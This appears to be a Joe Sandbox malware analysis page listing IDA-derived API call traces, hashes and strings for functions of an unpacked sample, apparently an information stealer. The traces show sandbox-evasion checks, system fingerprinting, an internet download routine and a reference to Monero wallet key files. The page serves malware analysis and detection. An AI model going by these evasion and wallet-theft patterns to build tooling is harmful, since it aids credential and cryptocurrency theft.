Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: `t
API String ID: 2540262943-420285891
Opcode ID: e3129753ee13c8ed3be4e86b8f80494104786e27c00fa92eb8a5ea18dc7da0fe
Instruction ID: 18d02213bbef6dc3e95d46ef0c36c2960398a3d33fcf6a32c04aff71a203d137
Opcode Fuzzy Hash: e3129753ee13c8ed3be4e86b8f80494104786e27c00fa92eb8a5ea18dc7da0fe
Instruction Fuzzy Hash: F13186B291032897CB14FBA0EC86EDD777CAB58704F4085C9B71996141DE74A7C8CFA5

Function 00B15000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B1501A
RtlAllocateHeap.NTDLL(00000000), ref: 00B15021
InternetOpenA.WININET(00B30DC7,00000000,00000000,00000000,00000000), ref: 00B1503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00B15061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00B15091
InternetCloseHandle.WININET(?), ref: 00B15109
InternetCloseHandle.WININET(?), ref: 00B15116

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7298cb6a6bf9d6d4693c738b1b8e05a236d4e3b1d1fdec83b83e04fb188dbb11
Instruction ID: 0ac16c1a22f6045d827c6f111badc3900e7c1a93d7f45eeef4edf8ac2739d126
Opcode Fuzzy Hash: 7298cb6a6bf9d6d4693c738b1b8e05a236d4e3b1d1fdec83b83e04fb188dbb11
Instruction Fuzzy Hash: F13119B4A00218EBDB20DF54DC85BDDB7B5AF48304F5081D9BB09A7281C7B06AC58FA8

Function 00B27E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B27EC6
wsprintfA.USER32 ref: 00B27EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B27F1B
RegCloseKey.ADVAPI32(00000000), ref: 00B27F2C
RegCloseKey.ADVAPI32(00000000), ref: 00B27F39

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

RegQueryValueExA.KERNEL32(00000000,0074DFC0,00000000,000F003F,?,00000400), ref: 00B27F8C
lstrlen.KERNEL32(?), ref: 00B27FA1
RegQueryValueExA.KERNEL32(00000000,0074E140,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B30B24), ref: 00B28039
RegCloseKey.ADVAPI32(00000000), ref: 00B280A8
RegCloseKey.ADVAPI32(00000000), ref: 00B280BA

Strings

%s\%s, xrefs: 00B27EED

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b9a2bd3f022489750a986107438030e47201a4f29035b9fd9459208f18369100
Instruction ID: aaff285674c1d983e52f505c8629cda1b500d9af502491b35991d388d4bdfaf5
Opcode Fuzzy Hash: b9a2bd3f022489750a986107438030e47201a4f29035b9fd9459208f18369100
Instruction Fuzzy Hash: DD21FA7191122C9BDB24DB54EC85FD9B3F9FB48715F00C1D8A609A6280DF71AA85CFE4

Function 00B14800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

Strings

<, xrefs: 00B14819

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 54dfc5db41a4a492ab3e14f4bc9055722eab48538aae7a2b27d217727eac2735
Instruction ID: 2ff6b20ef28705a45c36f4e050f25c95960a225143b42649c410149ae4483fcb
Opcode Fuzzy Hash: 54dfc5db41a4a492ab3e14f4bc9055722eab48538aae7a2b27d217727eac2735
Instruction Fuzzy Hash: 33215EB1D00209ABDF14DFA5EC49ADE7B75FF44320F108625F925A72D1EB706A09CB91

Function 00B27130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B27144
RtlAllocateHeap.NTDLL(00000000), ref: 00B2714B
RegOpenKeyExA.KERNEL32(80000002,0073BE60,00000000,00020119,00000000), ref: 00B2717D
RegQueryValueExA.KERNEL32(00000000,0074DF78,00000000,00000000,?,000000FF), ref: 00B2719E
RegCloseKey.ADVAPI32(00000000), ref: 00B271A8

Strings

Windows 11, xrefs: 00B2715D

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: fd21a911e6b84587e181db2a9d7ab0159b6e6691288f2d6f099989a343539a7a
Instruction ID: c28f026c62c344dc466b29b1670816e1a93335788d2df235266520b0511b3a07
Opcode Fuzzy Hash: fd21a911e6b84587e181db2a9d7ab0159b6e6691288f2d6f099989a343539a7a
Instruction Fuzzy Hash: 8E014475A44308BFD700DBE4ED49F6977B9EF48701F104094FA08E7380DA7099148B60

Function 00B271C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B271D4
RtlAllocateHeap.NTDLL(00000000), ref: 00B271DB
RegOpenKeyExA.KERNEL32(80000002,0073BE60,00000000,00020119,00B27159), ref: 00B271FB
RegQueryValueExA.KERNEL32(00B27159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B2721A
RegCloseKey.ADVAPI32(00B27159), ref: 00B27224

Strings

CurrentBuildNumber, xrefs: 00B27211

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 3074c6968cb7b4a0ccd45806cec2022a2f10cf1a7ac7b9025e324fd8b921f97c
Instruction ID: 63464b07b3aaceaa02d76a986dc7baef9e6cec7742499c82f2374574151a6a73
Opcode Fuzzy Hash: 3074c6968cb7b4a0ccd45806cec2022a2f10cf1a7ac7b9025e324fd8b921f97c
Instruction Fuzzy Hash: 0001E1B9A50308BBDB14DBE4EC4AFAEB7B9EB48701F104558FA05E7291D67055048B61

Function 00B26490 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,007412E8), ref: 00B292B1
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741258), ref: 00B292CA
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741360), ref: 00B292E2
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741168), ref: 00B292FA
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741210), ref: 00B29313
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00748DF0), ref: 00B2932B
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00736688), ref: 00B29343
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00736528), ref: 00B2935C
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,007413A8), ref: 00B29374
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741318), ref: 00B2938C
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741300), ref: 00B293A5
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741288), ref: 00B293BD
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00736808), ref: 00B293D5
Part of subcall function 00B29270: GetProcAddress.KERNEL32(75900000,00741330), ref: 00B293EE

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B111D0: ExitProcess.KERNEL32 ref: 00B11211

Part of subcall function 00B11160: GetSystemInfo.KERNEL32(?), ref: 00B1116A
Part of subcall function 00B11160: ExitProcess.KERNEL32 ref: 00B1117E

Part of subcall function 00B11110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B1112B
Part of subcall function 00B11110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00B11132
Part of subcall function 00B11110: ExitProcess.KERNEL32 ref: 00B11143

Part of subcall function 00B11220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B1123E
Part of subcall function 00B11220: __aulldiv.LIBCMT ref: 00B11258
Part of subcall function 00B11220: __aulldiv.LIBCMT ref: 00B11266
Part of subcall function 00B11220: ExitProcess.KERNEL32 ref: 00B11294

Part of subcall function 00B26210: GetUserDefaultLangID.KERNEL32 ref: 00B26214

Part of subcall function 00B11190: ExitProcess.KERNEL32 ref: 00B111C6

Part of subcall function 00B272F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B111B7), ref: 00B27320
Part of subcall function 00B272F0: RtlAllocateHeap.NTDLL(00000000), ref: 00B27327
Part of subcall function 00B272F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B2733F

Part of subcall function 00B27380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B273B0
Part of subcall function 00B27380: RtlAllocateHeap.NTDLL(00000000), ref: 00B273B7
Part of subcall function 00B27380: GetComputerNameA.KERNEL32(?,00000104), ref: 00B273CF

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00748E20,?,00B310DC,?,00000000,?,00B310E0,?,00000000,00B30ADA), ref: 00B2656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B26588
CloseHandle.KERNEL32(00000000), ref: 00B26599
Sleep.KERNEL32(00001770), ref: 00B265A4
CloseHandle.KERNEL32(?,00000000,?,00748E20,?,00B310DC,?,00000000,?,00B310E0,?,00000000,00B30ADA), ref: 00B265BA
ExitProcess.KERNEL32 ref: 00B265C2

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 2048ee2138449b8855e79d1cdd2ba9acb28ec740599f24f95a04a013daa00dbb
Instruction ID: 57b4d6a61a33a6d7dee35b3dbeb3a6ff4187cfea95bb548dd9faeff18eeac89d
Opcode Fuzzy Hash: 2048ee2138449b8855e79d1cdd2ba9acb28ec740599f24f95a04a013daa00dbb
Instruction Fuzzy Hash: 89312171910228ABCB04F7F4EC56BEEB7F9AF15300F504998F516B6192DF7069048B76

Function 00B19A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
